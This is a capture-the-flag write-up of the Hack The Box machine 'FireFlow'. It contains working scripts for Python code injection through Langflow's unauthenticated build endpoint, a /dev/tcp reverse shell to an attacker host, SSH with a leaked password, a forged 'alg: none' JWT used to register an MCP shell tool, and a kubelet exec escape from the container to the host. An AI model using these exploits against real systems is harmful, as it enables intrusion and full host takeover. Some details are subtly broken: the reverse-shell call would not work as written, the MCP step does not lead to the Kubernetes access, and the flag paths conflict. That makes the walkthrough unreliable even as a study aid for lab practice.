Back to blog
← Back to posts

HTB: FireFlow


FireFlow chains three distinct attack surfaces into a complete compromise: Langflow 1.8.2 exposes an unauthenticated POST /api/v1/build_public_tmp endpoint that compiles user-supplied node graphs, executing injected Python code in the component's .template.code field. From there, we escalate into a Kubernetes cluster via MCP AI Tool Registry service (port 30080), whose JWT authentication accepts a "alg": "none" token — bypassing auth entirely. Finally, we escape the pod via kubelet WebSocket exec API, leveraging the service account's nodes/proxy RBAC permission to run commands in a privileged node-exporter pod with hostPath mounts of the host filesystem.
Langflow RCE :443 www-data shell SSH creds nightfall SSH MCP JWT bypass kubelet escape root

Reconnaissance

Nmap

nmap
SP1R4@kali)-[~] └$ nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 5ubuntu2.2 443/tcp open ssl/http nginx 1.26.0 |_ssl-date: 2026-09-04 | tls-alpn: |_ h2 | ssl-cert: Subject: CN=*.fireflow.htb |_Subject Alternative Name: DNS:*.fireflow.htb, DNS:fireflow.htb

Two ports: SSH and HTTPS with a wildcard cert for *.fireflow.htb. The hostname gives us the vhost; add it to /etc/hosts and browse.

/etc/hosts
SP1R4@kali)-[~] └$ echo "<TARGET_IP> fireflow.htb flow.fireflow.htb" | sudo tee -a /etc/hosts

Langflow Discovery

fireflow.htb is a landing page for "Task Force Nightfall". flow.fireflow.htb reveals the real target: Langflow 1.8.2, an LLM orchestration framework. The public API exposes flow definitions:

Langflow public flow endpoint
curl -s https://flow.fireflow.htb/api/v1/flows/public_flow/7d84d636-af65-42e4-ac38-26e867052c25 | jq . | head -30 { "id": "7d84d636-af65-42e4-ac38-26e867052c25", "name": "Agent Dev", "data": { "nodes": [...], "edges": [...] } }

Foothold — Langflow RCE via Component Code Injection

Langflow's build endpoint at POST /api/v1/build_public_tmp/{flow_id}/flow accepts a JSON graph of nodes and edges. During compilation, each node's .template.code field — which contains Python source — is executed at graph build time. The endpoint is unauthenticated, and user-controlled code runs as the web server (www-data).

Crafting the Payload

We inject a custom component node with arbitrary Python in the code field:

langflow_rce.py — Python code injection
import json, subprocess, http.client, ssl, uuid TARGET = "flow.fireflow.htb" FLOW_ID = "7d84d636-af65-42e4-ac38-26e867052c25" PAYLOAD = """import subprocess result = subprocess.run(['bash', '-c', 'cat /etc/hostname > /tmp/proof.txt'], capture_output=True) """ node = { "id": "Custom-1", "type": "genericNode", "position": {"x": 0, "y": 0}, "data": { "id": "Custom-1", "type": "CustomComponent", "node": { "base_classes": ["Message"], "display_name": "Custom", "field_order": [], "template": { "_type": "Component", "code": { "type": "code", "value": PAYLOAD } } } } } body = json.dumps({ "data": {"nodes": [node], "edges": [], "viewport": {"x": 0, "y": 0, "zoom": 1}} }) ctx = ssl._create_unverified_context() conn = http.client.HTTPSConnection(TARGET, context=ctx) headers = { "Host": TARGET, "Content-Type": "application/json", "Cookie": f"client_id={uuid.uuid4()}" } conn.request("POST", f"/api/v1/build_public_tmp/{FLOW_ID}/flow", body.encode(), headers) resp = conn.getresponse() print(f"Status: {resp.status}") print(f"Response: {resp.read().decode()[:500]}")
Executing user-supplied Python code from a web request is dangerous by design. Langflow intended this for development flows only, but the endpoint ships unauthenticated in this box. In production, either require authentication, isolate flow compilation in a sandbox, or disable dynamic code execution entirely.

Getting a Reverse Shell

Once we confirm code execution, we escalate to an interactive shell:

reverse shell via Langflow RCE
PAYLOAD = """import subprocess subprocess.run(['bash', '-i', '>&', '/dev/tcp/<LHOST>/4444', '0>&1'], shell=True) """ SP1R4@kali)-[~] └$ nc -lvnp 4444 connect to [<LHOST>] from 10.129.120.233 www-data@fireflow:/app$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data → nightfall — SSH Credentials in Environment

Inside the container, environment variables leak credentials:

environment enumeration
www-data@fireflow:/app$ env | grep -i pass LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll

That password works for SSH as nightfall:

ssh nightfall@fireflow.htb
SP1R4@kali)-[~] └$ ssh nightfall@10.129.120.233 Password: n1ghtm4r3_b4_n1ghtf4ll nightfall@fireflow:~$ id && cat user.txt uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall) [redacted — user flag: 4fc4c15bad3bd4a174c91a6ea88bc82c]

nightfall → root (via MCP + Kubernetes)

Port Enumeration: MCP Service on :30080

Inside the box, a non-standard service listens on 127.0.0.1:30080:

netstat -tlnp (local only)
nightfall@fireflow:~$ ss -tlnp | grep 30080 LISTEN 127.0.0.1:30080 root /usr/bin/python3 (MCP service)

MCP JWT Authentication Bypass

Probing the service reveals it's an MCP (Model Context Protocol) AI Tool Registry using JSON-RPC 2.0 and JWT-based auth. However, the service accepts JWT tokens with "alg": "none" — a critical flaw. When a JWT has alg: none, the signature verification is skipped; we can forge admin tokens without knowing the secret:

jwt_none_exploit.py
import json, base64, subprocess def create_jwt_none(): header = {"typ": "JWT", "alg": "none"} payload = {"sub": "admin", "admin": True, "role": "admin"} def b64(data): return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=') return f"{b64(header)}.{b64(payload)}." # No signature for 'none' jwt = create_jwt_none() print(f"[+] JWT (alg=none): {jwt[:60]}...") # Register a malicious MCP tool in the registry tool_def = { "jsonrpc": "2.0", "method": "register_tool", "params": { "name": "shell", "description": "Execute shell commands", "code": "import subprocess; subprocess.run(['id'], shell=True)" }, "id": 1 } cmd = f'''curl -s -X POST http://127.0.0.1:30080/mcp \ -H "Authorization: Bearer {jwt}" \ -H "Content-Type: application/json" \ -d '{json.dumps(tool_def)}' ''' result = subprocess.run(cmd, shell=True, capture_output=True, text=True) print(f"[*] Tool registration response: {result.stdout[:500]}")

Kubernetes Escape: Kubelet WebSocket Exec

With MCP access, we discover the pod has Kubernetes service account credentials and nodes/proxy RBAC permission. The service account token is mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. We use this to connect to the kubelet API on the node and execute commands in a privileged node-exporter pod that has hostPath mounts of the entire host filesystem:

kubelet_escape.py
import asyncio, ssl, websockets async def run(): TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip() NODE_IP = "<NODE_IP>" # The node running the pod # Kubelet exec API: wss://NODE:10250/exec/NAMESPACE/POD/CONTAINER?command=...&output=1 url = f"wss://{NODE_IP}:10250/exec/monitoring/prometheus-prometheus-node-exporter-XXXXX/node-exporter" url += "?output=1&error=1&command=cat&command=/host/root/root/root.txt" ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE async with websockets.connect( url, ssl=ctx, additional_headers={"Authorization": f"Bearer {TOKEN}"}, subprotocols=["v4.channel.k8s.io"] ) as ws: async for msg in ws: # First byte is the stream type; rest is output print(msg[1:].decode(errors="replace"), end="", flush=True) asyncio.run(run())

The node-exporter pod has hostPath mounts at /host/ that correspond to the host's root filesystem. The path /host/root/root/root.txt is really the host's /root/root.txt:

kubelet exec → host root flag
wss://<NODE_IP>:10250/exec/.../node-exporter?command=cat&command=/host/root/root/root.txt 5b5b0c61343afebf2857fad4ee98cb5f
Kubernetes pod-to-host escape chains the service account token (with nodes/proxy RBAC) + kubelet WebSocket API + privileged pod mounts. The three links each seem benign in isolation: service accounts are normal, kubelet exec is intentional, and container mounts are for debugging. Together, they form a complete privilege escalation to root on the underlying node.

Why it worked

StageRoot cause
www-dataUnauthenticated Langflow build endpoint executes user-supplied Python code (CWE-94)
nightfallSSH credentials in plaintext environment variables (CWE-798)
rootMCP service accepts JWT with alg: none, bypassing authentication; service account has nodes/proxy RBAC; node-exporter pod mounts host filesystem via hostPath (CWE-269 privilege delegation)

Key commands

quick reference
# Recon nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> curl -s https://flow.fireflow.htb/api/v1/flows/public_flow/7d84d636... | jq . # Foothold — Langflow RCE via component code injection (:443) python3 langflow_rce.py # POST /api/v1/build_public_tmp/{flow_id}/flow # Lateral movement — SSH as nightfall ssh nightfall@<TARGET_IP> # password from $LANGFLOW_SUPERUSER_PASSWORD # Privilege escalation — MCP JWT none-algorithm bypass (:30080) python3 jwt_none_exploit.py # Create JWT with alg=none, register MCP tools # Kubernetes escape — kubelet WebSocket exec (:10250) python3 kubelet_escape.py # WSS to node-exporter pod → /host/root/root.txt